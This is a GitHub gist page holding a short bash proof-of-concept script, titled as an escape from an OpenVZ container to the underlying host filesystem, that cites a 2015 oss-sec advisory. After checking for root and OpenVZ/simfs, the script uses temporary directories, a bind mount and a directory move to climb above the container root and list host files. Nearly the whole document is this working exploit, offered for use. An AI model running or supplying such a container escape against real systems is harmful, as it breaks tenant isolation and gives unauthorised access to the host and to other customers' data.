Skip to content

Instantly share code, notes, and snippets.

@mak
Last active October 28, 2018 21:19
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save mak/b6cd5d3ac321a6ea4649 to your computer and use it in GitHub Desktop.
Save mak/b6cd5d3ac321a6ea4649 to your computer and use it in GitHub Desktop.
escape from openvz container to underlying fs
#!/bin/bash
### for ref goto: http://seclists.org/oss-sec/2015/q2/38
## sanity checks
if (( $(id -u) )); then echo '[-] need root'; exit; fi
if [ ! -e /proc/vz ]; then echo '[-] this is not openvz based'; exit; fi
if [ ! -e /dev/simfs ]; then echo '[-] no smifs cant exploit'; exit; fi
a=$(mktemp -d /bind_XXXXXXX)
b=$(mktemp -d /bind_XXXXXXX)
c=$(mktemp -d /bind_XXXXXXX)
cd /
mv ${b} ${a}/
mount -o bind $a $c
cd /${c}/${b}
mv /${a}/${b} /
ls -latr ../../../../../
sleep 1
cd ${HOME}
umount /${c}
rmdir /${a} /${b} /${c}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment